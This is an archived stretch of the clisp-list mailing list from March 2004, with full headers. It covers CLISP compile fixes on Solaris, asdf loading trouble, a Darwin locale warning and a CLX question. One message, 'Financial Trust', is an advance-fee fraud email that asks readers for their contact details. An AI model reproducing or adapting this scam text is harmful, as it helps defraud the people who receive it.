X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: 2.32 compile problem on solaris Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 1 03:28:02 2004 X-Original-Date: Mon, 1 Mar 2004 12:10:34 +0100 > In file included from spvwtabs.d:25: > constsym.d:623: structure has no member named `S_open64' > constsym.d:623: initializer element is not constant > constsym.d:623: (near initialization for `symbol_tab_data.S_open.GCself') > constsym.d:1011: structure has no member named `S_truncate64' > constsym.d:1011: initializer element is not constant > constsym.d:1011: (near initialization for `symbol_tab_data.S_truncate.GCself') > constsym.d:1017: structure has no member named `S_ftruncate64' > constsym.d:1017: initializer element is not constant > constsym.d:1017: (near initialization for `symbol_tab_data.S_ftruncate.GCself') Thanks for reporting this. The appended patch should fix it. Bruno *** spvwtabs.d 23 Jun 2003 22:29:53 -0000 1.5 --- spvwtabs.d 1 Mar 2004 11:05:55 -0000 *************** *** 15,20 **** --- 15,25 ---- #undef write /* LISPBIBL.D does "#define export" */ #undef export + /* Large File Support on some versions of Solaris does "#define open open64", + "#define truncate truncate64", "#define ftruncate ftruncate64" */ + #undef open + #undef truncate + #undef ftruncate /* Table of all fixed symbols: */ global struct symbol_tab_ symbol_tab_data *** lisparit.d 23 Feb 2004 17:08:40 -0000 1.58 --- lisparit.d 1 Mar 2004 11:05:55 -0000 *************** *** 10,15 **** --- 10,17 ---- #define LISPARIT /* in the following not only macros, but also functions */ #undef LF /* LF here does not mean 'Linefeed', but 'LongFloat' */ + #undef truncate /* undo a possible "#define truncate truncate64" from LFS */ + #undef ftruncate /* undo a possible "#define ftruncate ftruncate64" from LFS */ /* UP: decides over number equality From russell_mcmanus@yahoo.com Mon Mar 01 08:06:52 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AxpwS-0000Gd-Fz for clisp-list@lists.sourceforge.net; Mon, 01 Mar 2004 08:06:52 -0800 Received: from dsl081-203-031.nyc2.dsl.speakeasy.net ([64.81.203.31] helo=thelonious.dyndns.org) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Axpke-0000G7-7t for clisp-list@lists.sourceforge.net; Mon, 01 Mar 2004 07:54:40 -0800 Received: by thelonious.dyndns.org (Postfix, from userid 1000) id 79D4EBF; Mon, 1 Mar 2004 10:54:10 -0500 (EST) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: 2.32 compile problem on solaris References: <200403011210.34877.bruno@clisp.org> From: Russell McManus In-Reply-To: <200403011210.34877.bruno@clisp.org> (Bruno Haible's message of "Mon, 1 Mar 2004 12:10:34 +0100") Message-ID: <878yiko95p.fsf@thelonious.dyndns.org> User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Portable Code, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 1 08:07:08 2004 X-Original-Date: Mon, 01 Mar 2004 10:54:10 -0500 Thanks for looking into this, Bruno. I had one other problem on the same solaris machine, after applying your previous patch (which btw seems to be working OK): gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fno-schedule-insns -fno-gcse -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_GETTEXT -DNO_SIGSEGV -I. -fPIC -I../ -c regexi.m.c -o regexi.o In file included from regexi.c:7: ../clisp.h:560: parse error before `saved_back_trace' ../clisp.h:560: warning: type defaults to `int' in declaration of `saved_back_trace' ../clisp.h:560: warning: data definition has no type or storage class ../clisp.h:3511: warning: call-clobbered register used for global register variable I moved the definition of saved_back_trace below the p_backtrace_t struct definition in clisp.h, which seemed to work. -russ From sds@gnu.org Mon Mar 01 09:44:22 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AxrSo-00007q-82 for clisp-list@lists.sourceforge.net; Mon, 01 Mar 2004 09:44:22 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AxrGx-0005rA-GV for clisp-list@lists.sourceforge.net; Mon, 01 Mar 2004 09:32:07 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i21HVqr3016962; Mon, 1 Mar 2004 12:31:52 -0500 (EST) To: clisp-list@lists.sourceforge.net, Russell McManus Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <878yiko95p.fsf@thelonious.dyndns.org> (Russell McManus's message of "Mon, 01 Mar 2004 10:54:10 -0500") References: <200403011210.34877.bruno@clisp.org> <878yiko95p.fsf@thelonious.dyndns.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Russell McManus Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: 2.32 compile problem on solaris Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 1 09:45:17 2004 X-Original-Date: Mon, 01 Mar 2004 12:31:52 -0500 > * Russell McManus [2004-03-01 10:54:10 -0500]: > > Thanks for looking into this, Bruno. > > I had one other problem on the same solaris machine, after applying > your previous patch (which btw seems to be working OK): > > gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fno-schedule-insns -fno-gcse -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_GETTEXT -DNO_SIGSEGV -I. -fPIC -I../ -c regexi.m.c -o regexi.o > In file included from regexi.c:7: > ../clisp.h:560: parse error before `saved_back_trace' > ../clisp.h:560: warning: type defaults to `int' in declaration of `saved_back_trace' > ../clisp.h:560: warning: data definition has no type or storage class > ../clisp.h:3511: warning: call-clobbered register used for global register variable > > I moved the definition of saved_back_trace below the p_backtrace_t > struct definition in clisp.h, which seemed to work. please try the appended patch. thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k Old Age Comes at a Bad Time. --- genclisph.d.~1.95.~ 2004-02-27 09:54:31.888619500 -0500 +++ genclisph.d 2004-03-01 12:30:46.235633600 -0500 @@ -1251,7 +1251,7 @@ printf("extern object saved_value1;\n"); #endif #ifdef HAVE_SAVED_back_trace - printf("extern p_backtrace_t saved_back_trace;\n"); + printf("extern struct backtrace_t* saved_back_trace;\n"); #endif #if defined(HAVE_SAVED_STACK) printf("extern gcv_object_t* saved_STACK;\n"); From seharris@raytheon.com Mon Mar 01 16:22:20 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Axxfw-0008Tc-JV for clisp-list@lists.sourceforge.net; Mon, 01 Mar 2004 16:22:20 -0800 Received: from dfw-gate1.raytheon.com ([199.46.199.230]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AxxCO-00059h-Er for clisp-list@lists.sourceforge.net; Mon, 01 Mar 2004 15:51:48 -0800 Received: from ds02c00.directory.ray.com (ds02c00.directory.ray.com [147.25.138.118]) by dfw-gate1.raytheon.com (8.12.10/8.12.10) with ESMTP id i2209sWr017447 for ; Mon, 1 Mar 2004 18:09:54 -0600 (CST) Received: from ds02c00.directory.ray.com ([127.0.0.1]) by ds02c00.directory.ray.com (8.12.10/8.12.1) with ESMTP id i2209oTu011414 for ; Tue, 2 Mar 2004 00:09:53 GMT Received: Received: from L75001820.sdo.us.ray.com (unk-192-27-58-82.sdo.us.ray.com [192.27.58.82]) by ds02c00.directory.ray.com (8.12.10/8.12.9) with ESMTP id i2209lB4011372 sender seharris@raytheon.com for ; Tue, 2 Mar 2004 00:09:47 GMT Received: from sharr by L75001820.sdo.us.ray.com with local (Exim 4.30) id HTX9TD-0002FC-QA for clisp-list@lists.sourceforge.net; Mon, 01 Mar 2004 16:10:25 -0800 To: clisp-list@lists.sourceforge.net References: From: "Steven E. Harris" Organization: Raytheon Mail-Followup-To: clisp-list@lists.sourceforge.net In-Reply-To: (Joe Corneli's message of "Mon, 01 Mar 2004 01:27:44 -0600") Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Rational FORTRAN, cygwin32) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by dfw-gate1.raytheon.com id i2209sWr017447 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp-2.32 vs. asdf.lisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 1 16:23:06 2004 X-Original-Date: Mon, 01 Mar 2004 16:10:23 -0800 Joe Corneli writes: > I had asdf.lisp from cclan working with clisp-2.29, but now See this comp.lang.lisp thread=B9 from January for a workaround. Footnotes:=20 =B9 http://groups.google.com/groups?threadm=3Dsqad4rof0k.fsf%40lambda.dyn= dns.org --=20 Steven E. Harris :: seharris@raytheon.com Raytheon :: http://www.raytheon.com From jcorneli@math.utexas.edu Mon Mar 01 20:22:22 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ay1QE-0007nn-5D for clisp-list@lists.sourceforge.net; Mon, 01 Mar 2004 20:22:22 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1Ay0wQ-0004Uw-GR for clisp-list@lists.sourceforge.net; Mon, 01 Mar 2004 19:51:34 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i2249m100359; Mon, 1 Mar 2004 22:09:48 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1Ay1E4-00053L-00; Mon, 01 Mar 2004 22:09:48 -0600 To: "Steven E. Harris" cc: clisp-list@lists.sourceforge.net In-reply-to: <200403020351.i223pK131015@dell3.ma.utexas.edu> (clisp-list-request@lists.sourceforge.net) X-all-your-base-are-belong-to-us: You are on the way to destruction. References: <200403020351.i223pK131015@dell3.ma.utexas.edu> Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp-2.32 vs. asdf.lisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 1 20:25:19 2004 X-Original-Date: Mon, 01 Mar 2004 22:09:48 -0600 I couldn't get your link to load properly. So I hunted around a little. If you meant the posts from Tue, 13 Jan 2004 about loading asdf.fas instead of asdf.lisp, that didn't work for me (perhaps because I'm upgrading from clisp 2.29). [1]> (load "/usr/local/src/asdf/asdf.fas") *** - LOAD: compiled file #P"/usr/local/src/asdf/asdf.fas" has an older version marker My interim solution was to just reinstall clisp 2.29 and use it when I need to use asdf. From pascal@informatimago.com Mon Mar 01 23:26:51 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ay4Ik-00080W-Tt for clisp-list@lists.sourceforge.net; Mon, 01 Mar 2004 23:26:50 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1Ay3ok-0002qU-Kh for clisp-list@lists.sourceforge.net; Mon, 01 Mar 2004 22:55:51 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 8D4DA586E2 for ; Tue, 2 Mar 2004 08:14:03 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id AFF604DBA5; Tue, 2 Mar 2004 08:13:42 +0100 (CET) To: clisp-list@lists.sourceforge.net From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en Reply-To: Message-Id: <20040302071342.AFF604DBA5@thalassa.informatimago.com> X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] locale on Darwin? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 1 23:27:08 2004 X-Original-Date: Tue, 2 Mar 2004 08:13:42 +0100 (CET) With clisp 2.32, on Linux: $ env|grep LC_ LC_MONETARY=es_ES LC_NUMERIC=en_US LC_MESSAGES=en_US LC_COLLATE=C LC_CTYPE=fr_FR LC_TIME=en_US $ alias clisp alias clisp='/usr/local/bin/clisp -ansi -q -K full -m 128M -I -Efile ISO-8859-1 -Eterminal ISO-8859-1' $ clisp ;; Loading file /home/pascal/.clisprc.lisp ... [1]> (map nil (lambda (x) (format t "~30A = ~S~%" x (eval x))) '( CUSTOM:*DEFAULT-FILE-ENCODING* SYSTEM::*HTTP-ENCODING* CUSTOM:*MISC-ENCODING* CUSTOM:*PATHNAME-ENCODING* CUSTOM:*TERMINAL-ENCODING*)) *DEFAULT-FILE-ENCODING* = # *HTTP-ENCODING* = # *MISC-ENCODING* = # *PATHNAME-ENCODING* = # *TERMINAL-ENCODING* = # [2]> (ext:quit) $ ls -d /usr/share/locale/fr* /usr/share/locale/fr/ /usr/share/locale/fr_FR/ On Darwin: $ env|grep LC_ LC_MESSAGES=en_US LC_TIME=en_US LC_NUMERIC=en_US LC_CTYPE=fr_FR LC_MONETARY=es_ES LC_COLLATE=C $ alias clisp alias clisp='/usr/local/bin/clisp -ansi -q -K full -m 128M -I -Efile ISO-8859-1 -Eterminal ISO-8859-1' $ clisp WARNING: locale: no encoding FR_FR, using UTF-8 ;; Loading file /Users/pascal/.clisprc.lisp ... [1]> (map nil (lambda (x) (format t "~30A = ~S~%" x (eval x))) '( CUSTOM:*DEFAULT-FILE-ENCODING* SYSTEM::*HTTP-ENCODING* CUSTOM:*MISC-ENCODING* CUSTOM:*PATHNAME-ENCODING* CUSTOM:*TERMINAL-ENCODING*)) *DEFAULT-FILE-ENCODING* = # *HTTP-ENCODING* = # *MISC-ENCODING* = # *PATHNAME-ENCODING* = # *TERMINAL-ENCODING* = # NIL [2]> (ext:quit) $ ls -d /usr/share/locale/fr* /usr/share/locale/fr/ /usr/share/locale/fr_CH/ /usr/share/locale/fr_BE/ /usr/share/locale/fr_CH.ISO8859-1/ /usr/share/locale/fr_BE.ISO8859-1/ /usr/share/locale/fr_CH.ISO8859-15/ /usr/share/locale/fr_BE.ISO8859-15/ /usr/share/locale/fr_FR/ /usr/share/locale/fr_CA/ /usr/share/locale/fr_FR.ISO8859-1/ /usr/share/locale/fr_CA.ISO8859-1/ /usr/share/locale/fr_FR.ISO8859-15/ /usr/share/locale/fr_CA.ISO8859-15/ Why this warning? WARNING: locale: no encoding FR_FR, using UTF-8 Why does it choose to use UTF-8? -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From bruno@clisp.org Tue Mar 02 07:39:43 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AyBzi-0008NO-RS for clisp-list@lists.sourceforge.net; Tue, 02 Mar 2004 07:39:42 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AyBnK-0006iM-Be for clisp-list@lists.sourceforge.net; Tue, 02 Mar 2004 07:26:54 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i22FQme9026958; Tue, 2 Mar 2004 16:26:48 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.12.10/8.12.10) with ESMTP id i22FQlpg023954; Tue, 2 Mar 2004 16:26:47 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 1EC1F1BB79; Tue, 2 Mar 2004 15:22:06 +0000 (UTC) From: Bruno Haible To: "Pascal J.Bourguignon" User-Agent: KMail/1.5 Cc: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200403021622.04587.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: locale on Darwin? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 2 07:40:21 2004 X-Original-Date: Tue, 2 Mar 2004 16:22:04 +0100 > Why this warning? > WARNING: locale: no encoding FR_FR, using UTF-8 Darwin has particularly poor i18n support, and needs extra support in programs like clisp. I have now copied the support from GNU libiconv to clisp. So the problem should be fixed in clisp 2.33. Bruno From seharris@raytheon.com Tue Mar 02 10:14:59 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AyEPz-0002gE-H1 for clisp-list@lists.sourceforge.net; Tue, 02 Mar 2004 10:14:59 -0800 Received: from lax-gate4.raytheon.com ([199.46.200.233]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AyDvM-00030H-8V for clisp-list@lists.sourceforge.net; Tue, 02 Mar 2004 09:43:20 -0800 Received: from ds02t00.directory.ray.com (ds02t00.directory.ray.com [147.25.154.117]) by lax-gate4.raytheon.com (8.12.10/8.12.10) with ESMTP id i22I25ko001808 for ; Tue, 2 Mar 2004 10:02:05 -0800 (PST) Received: from ds02t00.directory.ray.com (localhost [127.0.0.1]) by ds02t00.directory.ray.com (8.12.10/8.12.1) with ESMTP id i22I1ljp009999 for ; Tue, 2 Mar 2004 18:02:04 GMT Received: Received: from L75001820.sdo.us.ray.com (unk-192-27-58-82.sdo.us.ray.com [192.27.58.82]) by ds02t00.directory.ray.com (8.12.10/8.12.9) with ESMTP id i22I1VSb009771 sender seharris@raytheon.com for ; Tue, 2 Mar 2004 18:01:31 GMT Received: from sharr by L75001820.sdo.us.ray.com with local (Exim 4.30) id HTYNFM-0006BW-4V for clisp-list@lists.sourceforge.net; Tue, 02 Mar 2004 10:02:10 -0800 To: clisp-list@lists.sourceforge.net References: <200403020351.i223pK131015@dell3.ma.utexas.edu> From: "Steven E. Harris" Organization: Raytheon Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Rational FORTRAN, cygwin32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp-2.32 vs. asdf.lisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 2 10:15:21 2004 X-Original-Date: Tue, 02 Mar 2004 10:02:07 -0800 Joe Corneli writes: > I couldn't get your link to load properly. Weird. I just tried that URL again it works fine here. > If you meant the posts from Tue, 13 Jan 2004 about loading asdf.fas > instead of asdf.lisp, that didn't work for me (perhaps because I'm > upgrading from clisp 2.29). Yes, that's the thread. I'm using clisp 2.32 on Cygwin and Edi asdf.fas works fine. You say you're upgrading from clisp 2.29, but not /to what/. Are you trying to use clisp 2.32? > [1]> (load "/usr/local/src/asdf/asdf.fas") > > *** - LOAD: compiled file #P"/usr/local/src/asdf/asdf.fas" has an > older version marker I don't see that result here: ,---- | $ clisp -q | ;; Loading file /home/sharr/.clisprc.fas ... | ;; Loading file /usr/local/lib/common-lisp/asdf/asdf.fas ... | ;; Loaded file /usr/local/lib/common-lisp/asdf/asdf.fas | ;; Loaded file /home/sharr/.clisprc.fas | [1]> (lisp-implementation-version) | "2.32 (2003-12-29) (built on winsteingoldlap [10.0.19.22])" `---- > My interim solution was to just reinstall clisp 2.29 and use it when > I need to use asdf. That's a shame. Perhaps someone else here can comment on this "older version marker" situation. -- Steven E. Harris :: seharris@raytheon.com Raytheon :: http://www.raytheon.com From ICMdesign@aol.com Fri Mar 05 01:39:26 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AzBnh-0007fw-Qg for clisp-list@lists.sourceforge.net; Fri, 05 Mar 2004 01:39:25 -0800 Received: from imo-m25.mx.aol.com ([64.12.137.6]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AzBZh-0001y4-3L for clisp-list@lists.sourceforge.net; Fri, 05 Mar 2004 01:24:57 -0800 Received: from ICMdesign@aol.com by imo-m25.mx.aol.com (mail_out_v37.4.) id 6.1d8.1bacabfb (4012) for ; Fri, 5 Mar 2004 04:24:48 -0500 (EST) From: ICMdesign@aol.com Message-ID: <1d8.1bacabfb.2d79a15f@aol.com> To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Windows sub 120 X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name Subject: [clisp-list] clisp 2.32 with clx Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 5 01:40:01 2004 X-Original-Date: Fri, 5 Mar 2004 04:24:47 EST Hello, I compiled clisp 2.32 (2003-12-29/mandrake 9.0). qix.lisp shows its picture, but -demo hello-world.lisp from clocc/clx issues:"class # has no slot named FONT-INFO. menu.lisp demo gives me the same answer. Where should I look for? Further: Has anyone compiled "SLIK" with clisp? While compiling "gldefs.cl" :SLIK::LOAD-GL not defined, the "LOOKUP-FOREIGN-Function" seems not to find the glfunctions. Konrad From michael_5050@mailsurf.com Fri Mar 05 02:50:44 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AzCuf-0000EG-Uq for clisp-list@lists.sourceforge.net; Fri, 05 Mar 2004 02:50:41 -0800 Received: from [81.199.84.54] (helo=mail.sourceforge.net) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1AzCMA-0004Zz-Pj for clisp-list@lists.sourceforge.net; Fri, 05 Mar 2004 02:15:03 -0800 From: "Michael Moses" To:clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain;charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Spam-Score: 1.7 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 FROM_ENDS_IN_NUMS From: ends in numbers 0.8 URGENT_BIZ BODY: Contains urgent matter Subject: [clisp-list] Financial Trust Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 5 02:51:07 2004 X-Original-Date: Fri, 05 Mar 2004 11:50:42 Michael Moses 133, Adegbola Street Off Railway Line Ikeja, Lagos Reply to: michaelmoses@caramail.com My dear friend, The purpose of my writing to you is because I am searching for a foreign business partner who is in a position to assist me with my urgent business proposal, as time is not on my side. A partner, who understands what confidentiality means and who has the necessary facilities I require in embarking on this important venture. I am Michael Moses. I work in the storage unit of Global Securities, Nigeria as a handy man. I was arranging some deposit trunks in the vault when one fell from my hands and spilled out its content. I was baffled to discover it contained millions of US Dollars. On close inspection of the consignment, I discovered that it was declared to be containing Gold Bars, instead of money. Very curious, I went to the admin office and checked out the details of the depositor and discovered that it belonged to one foreigner, Mr. Roger Owen, an Irish man who lived in Abuja. Since the consignment has been deposited for a very long time I wondered why the owner has not come to claim it and decided to make further enquiries. My investigation revealed that the depositor died since 1993 and since then no one has come forward to claim it. I quickly arranged and had the trunk moved out of our Lagos office to our head office in Europe. I was able to procure the certificate of deposit our company issued to Mr. Owen for the consignment which he never collected. I now want to use you to claim the consignment. I am prepared to split the entire money in equal share with you if you will assist me, since I can not do it on my own. Please treat as confidential and indicate your willingness to assist me in your reply in order for me to provide you with further details on how to proceed. I will appreciate that you include your telephone and fax numbers. Many Thanks. Michael Moses Tel: +2348033253414 From sds@gnu.org Fri Mar 05 06:37:45 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp 